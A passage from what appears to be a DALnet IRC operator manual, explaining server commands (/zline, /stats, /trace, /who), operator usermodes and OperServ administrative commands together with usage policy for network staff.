useful only in very rare occasions, mainly if someone is using unregistered

(not properly logged on) clients with malicious intent, such as filling up the

server.

  See the /trace command for a way to list the unknown connections (section

4.1.4).

  3.2.11  /SAMODE

  ---------------

  The /samode (SA mode) is the ircd counterpart to the OperServ's mode command

(explained in section 5.3.1), which is available to Service Admin and higher

access.  It can be used to set any mode on a any channel.  The command is used

like the normal /mode for channels, however channel ops or even presence on a

channel is not needed to change its mode.

  Only opers set as Service Administrators (usermode +a, see section 4.3.9) may

use this command.  Same guidelines as for the OperServ mode command apply, the

instances in which this command should be used are VERY rare.  See section

6.5.7 on how to deal with channel matters for more information.

  3.2.12  /ZLINE AND /UNZLINE

  ---------------------------

  The /zline and /unzline commands can be used to add and remove temporary

Z:lines, much like /kline and /unkline do with temporary K:lines.  The

difference is that Z:lines only work for IP-addresses, not hostnames.  You

also cannot use a username (ident).  Similarly as with /kline and /zline,

/zline and /unzline are new DALnet commands so you need to follow the

instructions in section 3.1.3 on sending commands directly to the server.

  The usage of /zline is "ZLINE <IP-address mask> :comment text".  You may also

specify a username part, but this will get always changed into a "*" in the

mask.

  The /unzline command is used to remove temporary z:lines.  The usage is

predictably "UNZLINE <IP-address mask>", where the mask has to be exactly the

same as given in the original /zline command.

  Use the "/stats k" command to see the current list of z:lines on the server.

Adding z:lines is mostly useful in cases where there is a huge number of

repeated connect attempts from some host, which are all stopped by a local

K:line on the server.  Adding a z:line will make these connection attempts

invisible and make ircd do the least amount of work when dropping these

connections.  Caution should be used when using z:lines.  Consult your admin to

find out the policy on use for your server.

  This command is only available for Service Administrators, ie. those

operators who have the +a usermode set (see section 4.3.9).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 4.  SOME IRC FEATURES FROM AN OPERATOR'S VIEW

=====================================================

  - It does that too?

  This chapter discusses some old and familiar commands which gain a new

significance for operators.  All of these commands are available for all

users of IRC, however they may not yield any interesting information for

non-operators.  Some of them have extended usages available only for opers.

  4.1  NETWORK STATUS

  -------------------

  The following commands are very useful in determining the network's current

status.

  4.1.1  /LINKS

  -------------

  The /links command is the fundamental tool in determining how the network is

currently set up, which servers are connected where, etc.  It is available to

all users, even though it's only meaningful to those who are interested in the

current network layout.  The command (in the basic form, without scripts) shows

every server-server connection on the network.

  The output of the command varies between different clients.  Additionally,

you can get scripts to modify how the output is shown.  Therefore it is very

difficult to give an explanation here of how to read the list shown with the

command.

  4.1.2  /STATS

  ------------- 

  Stats is a command for retrieving server status and configuration

information.  Despite the name, there is more than statistical information

available with this command.  The available information is divided to two

categories, server configuration information (the various server "lines")

and server state information.  For both of these the basic usage of the

command is the same:

    /stats <letter> [server]

  The <letter> is a single letter which determines what kind of information is

shown, see below for a reference table.  You may specify a remote server from

which the information is shown.  (Note that the info will then be requested

from that server, so the output is affected by lag and other network

conditions.)  If you leave out the server, the current server is assumed.

  You may also specify a nickname instead of the server, in which case the

information comes from the server which has that nickname's connection.  There

is a special case with the "/stats l <nick>" and "/stats L <nick>" commands,

which actually show connection statistics for that client connection.

  Server configuration lines:

    /stats c -- C:lines, N:lines

    /stats d -- D:lines, d:lines

    /stats h -- H:lines

    /stats i -- I:lines

    /stats k -- K:lines, k:lines, autokill k:lines (shown as A:lines), Z:lines

    /stats n -- C:lines, N:lines  (same as /stats c)

    /stats o -- O:lines, o:lines  (these may not be shown for non-opers)

    /stats Q -- Q:lines  (note, capital Q only)

    /stats U -- U:lines  (note, capital U only)

    /stats y -- Y:lines

Note that there might be no response if there are no such lines, especially if

the client hides the "end of /stats report" messages.

  Server statistics:

    /stats l -- connection stats (with user's resolved hostname if available)

    /stats L -- connection stats (with user's username, IP address, and also

                the connection port if opered)

    /stats m -- command usage counts / data received for each

    /stats q -- Q:lines introduced by Services

    /stats u -- server uptime and highest connection count

    /stats t -- debugging statistics

    /stats w -- usage statistics

    /stats x -- shows missing servers (based on the server's C:lines, use on

                hubs, eg. "/stats x hubserver.*")

    /stats z -- internal ircd memory usage statistics

  This is a table explaining the l/L report output fields (in the order they

appear on the line).  It's a bit hard to read in the raw format, so getting a

script to present it in a nicer and more readable format is recommended.  In

any case, the most important number in each line is usually the sendQ, which

appears right after the connection name.

    link name           -- server name/nickname, with IP/hostname inside []

    sendQ               -- current sendQ size for the connection, in bytes

    sent messages       -- number of sent (IRC protocol) messages

    sent kilobytes      -- amount of data sent, in kilobytes

    received messages   -- number of received (IRC protocol) messages

    received kilobytes  -- amount of data received, in kilobytes

    time connected      -- time the connection has been up, in seconds

    time idle           -- time since a message was last received, in seconds

                           (this is the same number as seen with /whois, so

                           it doesn't count notices and other commands)

  The only difference between "/stats l" and "/stats L" is in the link name

field, which shows slightly different information.

  The l/L information is perhaps the most useful report, so here are a few tips

on using it:

  1. It is very important for routing purposes, when used to view server

     connections.  It shows each connection's sendQ value which can be used to

     determine if a link is failing or not, and monitoring the progress of a

     resynch.  The idle time also shows "dead" links, since server connections

     should always have very low idle times, if not 0.

  2. The "/stats l <nick>" report shows both the idle time as well as the

     number of received messages and amount of received data.  If the user is

     not idle and is sending out a lot of messages or a lot of data, this could

     be an indication that he/she is flooding.

  3. The "/stats L <nick>" report shows the real IP address of the user, in

     case he/she is DNS-spoofing.  This can be used to trace the user later.

     Make sure to get an exact timestamp of when the user was online, so the

     ISP can determine which user was doing it.

  For those of you who are interested, here are explanations for the m, t

and w reports, which aren't really useful in general for opers.  The rest of

you can skip to the next section.

  The output for "/stats m" looks like this:

    *** PRIVMSG    :   343262185  540850796

    *** NICK       :    20727440 1353933315

    ... and so on.

  The first number is simply the usage count for the command, and the second is

the total amount of data that has been received with these commands.  After 4GB

the counter will wrap, which is why in that example the figure for PRIVMSG's

seems so low, only 540MB. :)

  The output for "/stats t" looks like this (the explanations are mixed in):

    *** accepts 4876 refused 3368

  This lists the number of accepted/refused connections.

    *** unknown commands 1012 prefixes 142735

  This lists the number of unknown commands and commands with unknown prefixes.

    *** nick collisions 15102 unknown closes 3869

  This lists the number of nickname collisions and connections which have been

  closed while they still were unknown (before "registering" as a user/server).

    *** wrong direction 62862 empty 0

  Number of "Fake Directions" and completely empty messages.

    *** numerics seen 8235520 mode fakes 0

  Number of numerics and hacked mode changes.

    *** auth successes 1465 fails 3676

  Number of successful/failed ident lookups.

    *** local connections 0 udp packets 0

    *** local connections 0 udp packets 0

  Local connection information (never really used nowadays).

    *** Client Server

  The following lines have two entries, one for client connections and one for

  server connections (this is the header line).

    *** connected 805 571

  Number of client/server connections since server startup.

    *** bytes sent 583143.566K 69452344.481K

  Total amount of bytes sent to client/server connections.

    *** bytes recv 71013.1003K 30203172.317K

  Total amount of bytes received from client/server connections.

    *** time connected 15209310 14566469

  Total amount of accumulated connection time, in seconds.

  The output for "/stats w" looks like this:

    *** Minute   Hour  Day  Yest.  YYest.  Userload for:

    ***   2.00    2.0    2     2       2   irc.rift.com clients

    ***   8.00    8.0    8     8       8   total clients

    ***  15.00   15.8   15    16      12   total connections

  This shows the average number of local clients/clients/all connections for

  the past minute, the past hour, the past day, yesterday, and the day before

  yesterday.

  4.1.3  /VERSION

  ---------------

  The /version command shows the client and server version information.  You

can also do this command "remotely" on a server, by giving the server name or

a suitable mask (usually, "server.*") after the command.

  When used remotely it's possible to use this command to check for lag between

you and the specified server, because the reply message gets sent from the

other server.  If you use the command and there is delay before you get a reply

(or there is no reply at all), it is an indication of lag.  You may use

multiple /version commands to different servers to try to pinpoint which link

is the lagged one.  Also do more than just a single check for lag, so you can

tell if the situation is getting better or worse.

  4.1.4  /TRACE

  -------------

  There are two different uses for the /trace command.

  4.1.4.1  /TRACE <NICK>

  ----------------------

  The more important use for /trace is when you specify a nickname after the

command, in which case you will be shown a "route" of all the servers between

you and the user whose nickname you gave.  The usage is in this case:

    /trace <nickname>

All the lines you will see originate from different servers (from each server

along the route), which means that this command is very useful when trying to

pinpoint lag.  Unfortunately different clients show the command's output

differently, so the example output given here might differ from what's shown

on your client.

  Suppose that there are four servers connected, A <-> B <-> C <-> D

JoeOper is on server A, while JaneUser is on server D.  JoeOper gives the

command "/trace JaneUser", and sees the following output:

    *** Link dal4.4.12 JaneUser B.dal.net

    *** Link dal4.4.12 JaneUser C.dal.net

    *** Link dal4.4.12 JaneUser D.dal.net

    *** Server 0 0S 0C D.dal.net *!*@D.dal.net 25081034

Each of those lines is actually sent by a different server along the "route"

from JoeOper to JaneUser.  The first line is sent by the server A, the second

line is sent by server B, and so on.  This is somewhat confusing, because

those Link lines are composed as follows:

    *** Link <sending server version> <target nickname> <next server>

For example, in the first line "dal4.4.12" is the version for server A, and

"B.dal.net" designates the NEXT server.  The message might mislead to think

that it originated from server B and server B's version is "dal4.4.12" (which

it is, in this example, but that is not shown until the next line).

  If JoeOper is opered, the last line shown will instead be something like

this:

    *** User 6 JaneUser[dialup0.isp.net] 0

  The 6 is the connection class for JaneUser on the server D, and the 0 in the

end is the current sendQ for her.  Alternatively, if JaneUser is an oper, the

first word would be "Operator" instead of "User".  (Connection class means the

"type" of the connection, as set up in the server's Y:lines.)

  The nickname tracing functionality is available to all users, not just

IRC operators.

  4.1.4.2  /TRACE <SERVER>

  ------------------------

  The second form of the command is used to list connections to a specified

server.  Operators can see all connections, while normal users only see

operator connections (current opers on that server who aren't set invisible).

If you do not give any arguments, the local server is assumed.  When used in

this way, the command's usage is:

    /trace <server>

As usual, you may use "server.*" instead of the server's full name.  This

method will show all the connections to the specified server, including

servers, operators, users and "unknown" connections.

  Here's what the output (for opers) is composed of:

    *** User <class> Nick[user@host] <sendQ>

    *** Operator <class> Nick[user@host] <sendQ>

    *** Server <class> <servers>S <clients>C <server[ip]> <connector> <sendQ>

  Normal users see just the operator connections (invisible (+i) opers are not

shown, though).

  Unless you have a script to filter out user connections, this form of /trace

is not very useful, except when used on hub-only servers which do not have

many clients.

  4.1.4.3  USES FOR /TRACE

  ------------------------

  The uses of /trace might not be readily apparent from the description.  The

more often used function is with the first form, when used on a nickname.

Since each of the lines you see are sent by each server along the "route", this

is an effective way to pinpoint lag.  For example, if you use a command such as

/trace JoeUser, and might see output like this:

    *** Link dal4.4.12 JoeUser toronto.on.ca.dal.net

    *** Link dal4.4.12 JoeUser voyager.ca.us.dal.net

And then, nothing else.  This means that there is lag between toronto and

voyager (remember that that last line comes from toronto, and that

voyager.ca.us.dal.net is the "next server").  The rest of the output will

follow eventually later, when your command gets to voyager and other servers

(if needed), except unless the lag was due to the link failing and a split

happens between toronto and voyager.

  The other uses of /trace are not needed so often.  By using the server-form

and listing all the connections on a server, you can see all the unknown

connections to a server.  Unknown connections are (usually) clients which

haven't yet registered (sent a nickname and user info).  However, if there are

a lot of them and from the same host/IP address, it can be a sign of malicious

activity against the server.

  Another thing to remember is that you can see the sendQ values for the

nickname/server when doing a /trace, and this is a way to monitor them.

Usually using "/stats l" is better, though.

  Finally, non-opered clients may use "/trace <server>" to list all the

operators on that server.  This is one way of finding IRC operators.  However,

it's generally preferred that the /who command would be used instead (for

example, "/who 0 o", "/who ** o", "/who -oper" or "/who <server> o", depending

on your client and what exactly you want to see).

  4.1.5  /LUSERS

  --------------

  /lusers (short from "login users" or "list users") will show the current

number of users on the network and on your local server, the current number of

channels, the number of operators and the current number of servers connected

to the network and the local server.

  This information can be very useful to an oper at times.  First, the number

of servers is a good indication of whether there is a netsplit or not.  Second,

if you do a few /lusers commands and the user count is rapidly rising, that

might mean there is currently a resynch in progress.  If it's rapidly

decreasing, it might mean there's a netsplit in progress.  Third, for IRCops on

hub servers, the number of servers connected to the local server can be very

useful in estimating its load.

  You should note that the channel count does not normally include secret

channels, but for opers it does.

  4.2  OTHER COMMANDS

  -------------------

  The following commands have extended use for opers beyond what normal users

can use or see.

  4.2.1  /HELP AND /HELPOP

  ------------------------

  The /help command is part of the experimental HelpOp system.  Since the /help

command is used by many clients to access their own help features, there is an

additional alias for this command, /helpop.  It's also possible to use

/quote help.

  The HelpOp system is being designed to provide better help for users.  Any

user may use the /helpop command to send a help request.  The server looks in

it's own database to see whether the user's message/question matches any help

topic it knows about.  If not, the question is forwarded to all the HelpOps

(users who have the +h usermode set).

  If the message is prefixed with a '?', it is never passed to HelpOps, even if

the server cannot find an appropriate help topic.  The opposite behaviour

happens if the message is started with a '!', in which case it's always sent to

the HelpOps regardless of the content.

  To get an index page of what online help pages are available, use just plain

/helpop with no parameters, or /helpop index.  Since the HelpOp system is under

developement the contents may change, but currently at the time of writing this

all the Services help pages and some documentation on the new DALnet ircd

features are available.

  If the command is used by a HelpOp, the message gets sent to all the other

HelpOps automatically.  This can be used by HelpOps to discuss and coordinate

helping users who send requests.

  4.2.2  /NOTICE AND /MSG

  -----------------------

  DALnet's ircd supports extra formats for sending notices (and messages) to

channel ops, and channel ops and voices.  To send a notice to only the ops of

a channel, use the format:

    /notice @#channel message text

And for both ops and voiced members:

    /notice @+#channel message text

These are strongly recommended to be used rather than any client-side solution,

as those may result in the user triggering the ircd flood- and spam-message

limitations.  There is no danger when using these new notice/message formats.

These can also be aliased/scripted on most popular clients, and this is

recommended.

  IRC operators have the additional possibility of sending global notices (and

messages, but that is not usually done).  The recipient group can be specified

by either as users on certain servers or users with a certain address.

  To send a notice which goes to all users on servers which match a given mask,

use the format

    /notice $<server-mask> <message>

  So, in order to send a full global notice to all users online, you can use:

    /notice $*.dal.net <message>

  Or to send a message to users of a particular server (for example,

orion.fl.us.dal.net), you can use:

    /notice $orion.fl.us.dal.net <message>

  To send a notice which goes to all users whose address matches a given mask,

use the format

    /notice #<address-mask> <message>

  Users who receive a global cannot usually tell that it is a global notice

or a server/domain notice (as opposed to a private one), so you should indicate

this in the message.  You should also politely request that no replies are

sent, or you might get flooded with replies.  Another good idea is to use the

nick "DALnet" to send global notices.  This cannot be used by those attempting

to fake global messages as the nick DALnet is Q:lined on all servers, and it

lets those who do not want to see global notice ignore that nick.  For example:

    /nick DALnet

    /notice $*.dal.net [GLOBAL NOTICE] Services (NickServ, ChanServ, MemoServ)

    are going down for an upgrade.  They will be back up in 5 minutes.  We

    apologise for the inconvenience. (Please do not reply)

    /nick <YourNick>

  This procedure can very easily be adapted to make an alias or automatic

function with your client (just be careful with it!).

  Views vary on just what exactly is important enough to warrant a global.  If

you are considering a global, you should ask yourself whether the issue really

concerns all the thousands of DALnet users.  Excessive use of globals annoys

some users (and opers).  What's more, it devalues them -- users will simply

ignore them.  Before you do send a global, ask for opinions in globops.  Also

send the message you are planning to send as a global notice into globops

first, to allow others to check it for spelling and other mistakes, and a

chance for them to comment on it.

  A good possible alternative to globals is using wallops, see section 3.2.2.

  In addition to global notices, it is very easy to send server notices.  These

can be used if the information is relevant only to the users of one, single

server.  For example:

    /nick DALnet

    /notice $vogon.se.eu.dal.net [SERVER NOTICE] vogon.dal.net is going down

    due to server reboot, it will be back up in a few minutes. Apologies for

    the inconvenience. (Please do not reply)

    /nick <YourNick>

  4.2.3  /WHO

  -----------

  When opered, you will be able to see the normally invisible users (clients

which have the +i usermode set) with the /who command.  Such users will have

the percent sign ("%") shown after their nickname in the /who list.  Usually

someone being invisible means that they do not want to disturbed.  Be discreet

and do not approach anyone +i unless you could have "found" them by other means

(for example, you are in the same channel with them), or unless you are going

to talk to them in your role of IRC operator.  Never reveal information about

such users to anyone, except to other opers (in the case of abusive users).

  This access is only given to opers so they can detect clonebots and abusive

users who set themselves +i and change nicks in order to escape attention from

opers.  It should not be used to, for example, spy on anyone, or to find people

in hiding for their "friends".

  If you've not used the /who command a lot before, here's some advice:

  You can use wildcards with the command, and it will look for a match in EACH

of nickname, username, hostname, ircname ("real name") and servername.  So if

you give a command such as "/who user@someisp.net", it will not show any users

because there is no user who has "user@someisp.net" in their username or

hostname.  If someone's email address would be that, and he/she had placed that

in the ircname field, then that person's information would be shown though.

  To look for users from a particular site, you would use a command such as

"/who *someisp.com".  You could also give an exact hostname, without the

wildcard.  A command of "/who *joe*" will list all users who have "joe"

anywhere in their nickname, username, hostname, ircname or in the servername.

A "/who *.net" would list ALL users on DALnet, not just those coming from

".net" addresses, because all the server names end in ".net" (it's not a good

idea to try this *grin*).

  As an example, here's what a /who output might look like:

    * NetMaiden H* beth@ppp36.terrigal.net.au :3 Be good & play fair

    #DS9 RunAbot H@ runabot@dt9h2n97.san.rr.com :1 On the edge of IRC...

    #Macadamia Worf H@ sj@bell.maths.tcd.ie :1 sj@earthling.net

    #torhelp MSofty H@% mark@irc.rift.com :0 Mark Salerno

    * Wizzu H mihannin@delta.hut.fi :2 Mikko Hänninen, a wizard

  What each of those lines shows:

    <channel> <nick> <status> <address> :<hops> <IRC name>

  The sections which might need more explanation are:

    status -- the different characters show the client's status: H = here (not

              away), G = gone (away), @ = op on the channel, + = voice on the

              channel, * = IRC operator, % = invisible

    hops   -- the number of "hops" between your server and the other server,

              0 means that user is on the same server as you, 1 that it's a

              server connected to yours, 2 that there's one server in between,

              an so on

  Some clients also display the server for each of the shown users.

  4.2.4  /MOTD AND /ADMIN

  -----------------------

  The /motd command is useful for finding information about a server, its staff

and special policies it might have.  MOTD stands for "Message Of The Day",

although it's rarely updated daily.  Used alone it will show the MOTD info for

the local server.  If you add a server name (full name, or a "server.*" mask)

after the command, the MOTD for that server is shown.

  There is nothing new in /motd for opers, but it deserves mention as a

possible tool for opers to get information about a server.

  The /admin command works similarly.  The only difference is the text shown,

the server admin's contact information.

    /admin <optional server>

  4.2.5  /SILENCE

  ---------------

  Silence is an IRC command originating from the Undernet server code, yet it

is still not widely supported by different IRC clients, and most users do not

know about it.  It is basically another form of /ignore, but which stops the

messages from a given user at the SERVER, before they reach the client.  This

only affects private messages, channel messages are still shown.  It is

mentioned here so that opers would know of it and in addition to using it

themselves can teach other users to use it.

  The command is used as follows:

    /silence [+]user@host    Add the user@host mask to the silence list

                             (*!user@host)

    /silence -user@host      Remove the user@host mask from the silence list

                             (*!user@host)

    /silence +nick           Add nickname based silence (nick!*@*)

    /silence -nick           Remove a nickname based silence (nick!*@*)

    /silence                 List the current silence list for you

    /silence nick            Show the silence list for the given nick

It is possible to use wildcards as needed in the silence mask.  You may need to

use the /quote command in front of the silence command if your client does not

understand /silence, as explained in section 3.1.3.

  There is a maximum of 5 silences at one time (on DALnet).  Also, a drawback

is that you cannot specify the types of messages which are filtered (like you

can with /ignore on many clients), rather all private messages from the

specified nick/mask get suppressed.

  4.2.6  /NICK

  ------------

  You may wonder what new features such a familiar command as /nick has.

Well, it really doesn't -- but when you are opered, you may also switch to

Q:lined nicknames, like "DALnet".

  4.3  USERMODES AND SERVER MESSAGES

  ----------------------------------

  As you might already know, on IRC each user may have "modes" set, just like

with channels.  Some of these usermodes are available to all users, while

others on DALnet are reserved only to IRC operators.  Usermodes can be thought

of as "settings" for the user, and remain even if the nickname is changed.

Usermodes can be changed with the /mode command:

    To set     /mode <Your Nick> +<modes>

    To remove  /mode <Your Nick> -<modes>

  The rest of this section will explain all the usermodes that are significant

for opers.  The other usermodes are +i, +r and +R.  The +i usermode

("invisible") -- when set -- generally stops the user from being visible in a

/who or /names list.  The +r and +R usermodes can only be set/unset by servers

and Services, they are not controllable by users.  +r means that the user is

using a registered nickname and is seen as a valid user for it.  The +R

usermode is not yet operational, it is used to indicate password identified

clients.

  If you set the usermodes mentioned in the following it means that you will

see additional information (sometimes a lot of it) not usually seen by normal

users.  It is a good idea to set up a separate "operator window" with all the

operator messages going there, instead of getting them mixed with regular IRC

messages.

  4.3.1  USERMODE +o

  ------------------

  IRC operator status is actually designated by the +o usermode.  Unlike other

usermodes, it is set by using the /oper command successfully (you need to be on

a server with an O:line for you, and use the right nickname and password as

well as your current address must match the mask specified in the O:line).  You

cannot use the normal form "/mode <Your Nick> +o".  The +o is otherwise a

normal usermode, and as such will remain with you even if you change nicks.

You may "deoper" (remove the IRC operator status) by using the normal "/mode

<Your Nick> -o" command.

  While you have the +o usermode set, anyone who does a /whois on you will see

the text "* Nick is an IRC operator" (or whatever the message looks like on

his/her server).  Also, in any /who or /names list an asterisk ("*") will be

shown after your nickname.

  4.3.2  USERMODE +s

  ------------------

  The usermode +s indicates that the client will receive server messages.

There are many varied server messages, too many and different to list here.

This is the basic "administrative information" usermode on IRC, since it

controls seeing most normal server and network status or information messages.

  A lot of the messages (for example, many of the Services kills) might not be

something you really want to see, and which just make the things you are

interested in seeing that much harder to see.  It is possible to come up with

"filters" for limiting the type of messages you see, and indeed many operators

use such scripts.  However, you should be careful not to filter out any

important messages.

  The +s usermode is available to all users, but opers will see some

additional messages with this mode.

  4.3.3  USERMODE +w

  ------------------

  The usermode +w means that you will see wallops-messages.  Currently there

are no automatically sent server or network wallops on DALnet, all of them are

sent by opers.

  The +w usermode is available to all users.  It is assumed that users who are

interested in "what's going on in the net" will likely have +w set, while other

users won't.  As an oper it's a very good idea to have the +w usermode set

always when on DALnet, even when not opered.

  Wallops are, on DALnet, means of "announcing" network/server matters to

interested users (those who have set themselves +w) and communicating about

these issues between opers.  When using them you should keep in mind that they

can be seen by normal users, in particular avoid any security-related topics

(discuss these in globops instead).  Wallops should not be used for chatting

among operators, join a channel for that.

  4.3.4  USERMODE +g

  ------------------

  When you have the +g usermode set, you will see the globops messages.  Many

server/network messages are sent as globops, in particular server connection

status notices (connection broken, connection established, etc.).  For those

people who both have the +g usermode set and are opered, the oper-only globops

messages will be displayed.

  The +g usermode is available to all users.  It is a good idea to have the +g

usermode set at all times, so that you can monitor network activity as well as

see the globops sent by other operators when opered.

  Globops are a secure means of communication for IRC operators.  They are

meant for discussing any network issue, although extended chats should be taken

to a channel or discussed on a mailing list.  Personal messages such as

greetings are not allowed.  For more info, see the explanation of the /globops

command (section 3.2.2).

  4.3.5  USERMODE +c

  ------------------

  The +c usermode means that you will see client connect and exit notices for

your server.  These can be monitored for suspicious connects or exits, for

example clonebots connecting or users disconnecting with the "Excess flood"

message which indicates a possible flooder.  The mode is also sometimes useful

for debugging purposes.

  The +c usermode is only available to opers.  If you deoper, this mode will

be turned off.  For most servers the number of client connects and exits is so

large that any monitoring is next to useless (try it); because of this IRCops

generally don't use this mode except in special occasions.

  4.3.6  USERMODE +k

  ------------------

  The usermode +k controls whether you will see server originating kills or

not.  These include mostly nickname collision kills and the like, and some

kills done by Services.

  Watching nickname collisions can be a valuable tool for an operator.  When

things are running well, there are never more than few collisions per minute,

and when things are not running well seeing the collisions and checking the

servers that are causing them is a good way to find problems.  This is an

especially good way to find bubble lag between servers.

  The +k usermode is available to all users.

  4.3.7  USERMODE +f

  ------------------

  The +f usermode allows you to see anyone who quits with the "Excess flood"

disconnect message.  You will see a message which resembles:

    *** Flood -- bleh!bah@148.210.116.224 (9110) exceeds 8000 recvQ

In this example, 9110 is the actual size of the queue, and 8000 is the limit.

  This means that the client has sent more than the allowed amount of data

during a short period.  When you see this message, the user has already been

disconnected.  However, it might be a good idea to look for other clients from

the same address.  For instance, the client might have been a flooding

clonebot.  Repeated flood disconnects of users from the same address is another

sure warning sign.

  The +f usermode is only available to opers.  If you deoper, this mode will

be turned off.

  4.3.8  USERMODE +h

  ------------------

  The usermode +h turns you into a HelpOp.  A new line will be added to the

information shown about you with the /whois command that resembles:

    *** YourNick looks very helpful.

This allows you to see messages which are sent via the /help command (see

section 4.2.1 for more information about the command).  The HelpOp messages are

sent by users who need help with something, or in some cases to send a notice

to opers.  For example, there is a mass message detection bot which sends

notices about mass messages as /help requests.

  Any /help messages you send while set +h are also shown to other HelpOps,

which is useful for discussing and coordinating the answers to the help

requests.

  The +h usermode is only available to opers.  However, you may keep this

usermode even after you deoper.

  4.3.9  USERMODE +a

  ------------------

  Usermode +a means that the user is a Services Administrator.  When set +a,

you can use Services Administrator commands.  Currently the SA-commands are

/samode (see section 3.2.11 for an explanation), /zline and /unzline (see

section 3.2.12).  Being +a does not currently affect the ability to use

OperServ commands.

  When you have the +a usermode set, your /whois reply will show

    *** YourNick is an IRC Operator - Services Administrator

instead of the of the normal "is an IRC Operator" line.

  This mode is only available for specified operators.  Whether an oper can set

this mode or not depends on the settings (flags) in the O:line.  The current

policy is that server admins may not enable the +a mode except for those people

who are actual Services Administrators, as decided by the Services root staff.

If you deoper, this mode will be turned off.

  4.3.10  USERMODE +A

  -------------------

  The +A usermode signifies a server admin.  When setting the +A mode, also the

+a mode will be automatically set if the user doesn't have it already.  However

the +a mode can be removed while keeping the +A mode.  Currently the only

effect the +A mode has is the additional notice in the /whois info:

    *** Nick is an IRC Operator - Server Administrator

  Like the +a usermode, whether this usermode is available is defined in the

O:line.  Naturally, it is not available at all for non-opers.  When deopering

this mode will be removed.

  4.3.11  USERMODE +b

  -------------------

  Another new DALnet added usermode is +b, which enables chatops.  When set on,

you will see any chatops messages sent by other operators.  You will also be

able to use the /chatops command to send chatops.

  The +b usermode is only available to opers.  However, you may keep this

usermode even after you deoper.

  4.4  OTHER IRC ISSUES

  ---------------------

  You may already know about server (port) passwords.  It is possible to set up

password protected server ports which cannot be connected to without knowing

the required password.  DALnet has added additional functionality to this ircd

feature so that if a client used a password to connect and the port was open to

all connections, the password is sent to NickServ in an identify command.  This

is the safest form of automatic nick identification currently available.

  For operators the functionality remains the same, however since operators use

password protected ports more often than regular users (for privileged access

or due to other possible reasons), it is important to realise that the

auto-identify feature does not work with password protected ports.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 5.  IRC OPERATOR SERVICES COMMANDS

==========================================

  - Services is your friend

  This section will list OperServ and other special Services commands.  For

most, only very brief information is given because of security reasons.  If you

need more information, check the help for the command, ask your admin or

trainer, or a fellow IRC operator or CSop.  For Service Admin and CSop

commands, consult the CSop Manual.

  OperServ is a service that gives extra abilities to some DALnet opers.  It

has relatively few commands, most of which are used for things like helping

users who have had their channel taken over, or who have forgotten their nick's

password.  Some commands are related to DALnet security.

  Also shown is information on the Services log file format, in section 5.5.2.

  5.1  ACCESS LEVELS

  ------------------

  Services has a number of administrative staff positions, or access levels.

  1. IRC operator

  2. Service Admin (SA)

  3. CSop (Service Operator)

  4. root access

To be eligible for any of the higher access levels, you need to be IRC

operator.  A person having access to one level has automatically access to all

the lower level commands; for example a CSop has access to all IRC operator and

Service Admin commands.

  You need to be opered to be granted any special access.  For the SA access

and higher, you also need to be at least ACC 2 (identified through an access

mask) for your nickname.

  5.2  OPERSERV COMMANDS AVAILABLE TO ALL OPERS

  ---------------------------------------------

  These commands are available to all opers, including Service Admins and

CSops.

  5.2.1  TRIGGER

  --------------

    /msg OperServ trigger <user@host> [newlevel]

    /msg OperServ trigger <host> [newlevel]

  If you don't specify newlevel, it will show you the current one.  Please ask

for more information about this command from your admin or trainer.

  5.2.2  BROAD

  ------------

    /msg OperServ broad <message>

  Broadcasts a wallops message.  You have no reason to use this command, unless

your client can't send wallops notices (most can, and if yours can't you

probably should change to some other anyway).

  5.2.3  UPTIME

  -------------

    /msg OperServ uptime

  Shows Services uptime and the time until next database sync.

  5.2.4  LISTADM

  --------------

    /msg OperServ listadm

  Shows a list of Service Admins, CSops, and Roots.

  5.2.5  AUTOKILL LIST

  --------------------

    /msg OperServ autokill list [search pattern]

  Shows the autokill list.  The search pattern is optional, if left out the

full list is shown.

  5.3  OPERSERV COMMANDS AVAILABLE TO SERVICE ADMINS

  --------------------------------------------------

  These commands are available to Service Admins, CSops and Services roots.

  5.3.1  MODE

  -----------

    /msg OperServ mode #channel <modes>

  Changes the mode of the channel.  Setting mode -k requires a dummy key (any

one will work).  Setting mode -l doesn't require a dummy value.  See also the

/samode command, section 3.2.11.

  The instances in which this command should be used are VERY rare.  See

section 6.5.7 on how to deal with channel matters for more information.

  5.3.2  MASSDEOP

  ---------------

    /msg OperServ massdeop <#channel>

  Mass-deops a channel.

  5.3.3  MASSKICK

  ---------------

    /msg OperServ masskick <#channel>

  Mass-kicks a channel.

  5.3.4  AUTOKILL

  ---------------

  Add        /msg OperServ autokill <address>

  Add timed  /msg OperServ autokill time <length in mins> <address>

  Remove     /msg OperServ autokill -<address>

  List       /msg OperServ autokill list [search pattern]

  Timed autokills are NOT removed if Services go down, and the time is not

saved: they get changed to normal autokills.

  Remember to report autokills as explained in the CSop manual and Kline

procedures.  Here's a summary of the things you should include:

  - The mask which has been autokilled.

  - Nicks and addresses for the autokilled user.

  - Exact time the user was online (also include the timezone).

  - Reason for the autokill.

  - Duration if applicable.

  - Any logs you may have.

  5.3.5  IGNORE

  -------------

  Add     /msg OperServ ignore <nick!user@host>

  Remove  /msg OperServ ignore -<nick!user@host>

  List    /msg OperServ ignore

  Remember to report Services ignores as explained in the CSop manual and

Kline procedures.  Here's a summary of the things you should include:

  - Nickname(s) and address(es) which has/have been placed on ignore.

  - Nicks and addresses for the ignored user.

  - Exact time the user was online (also include the timezone).

  - Reason for the ignore.

  - Any logs you may have.

  5.3.6  DROP

  -----------

  This refers to the NickServ drop command, it is not an OperServ command.

Service Admins have extended access, so they should be very careful with

this.

  5.4  OPERSERV AND SERVICES COMMANDS AVAILABLE TO CSOPS

  ------------------------------------------------------

  These commands are available to CSops and Services roots.

  5.4.1  GETPASS

  --------------

  Getpass is not an OperServ command.

    /msg NickServ getpass <nick>

    /msg ChanServ getpass <#channel>

  Retrieve a nickname or channel password.

  5.4.2  CLEARMASK

  ----------------

    /msg OperServ clearmask <nick>

  Clears a nickname's access list.

  5.4.3  MARK

  -----------

    /msg NickServ mark <nick> <ON|OFF>

    /msg ChanServ mark <#channel> <ON|OFF>

  Marks a nickname or a channel.  Remember to report these.  Never remove a

mark you didn't set, unless you have first talked to the person who set it.

  5.4.4  CLOSE AND REOPEN

  -----------------------

  These should be used only by authorized personnel.  Unless someone tells you

that you're allowed to use them, DON'T.

  5.5  OTHER SERVICES FEATURES

  ----------------------------

  Aside from the special commands, there are a few other Services issues a

DALnet IRC operator should know about.

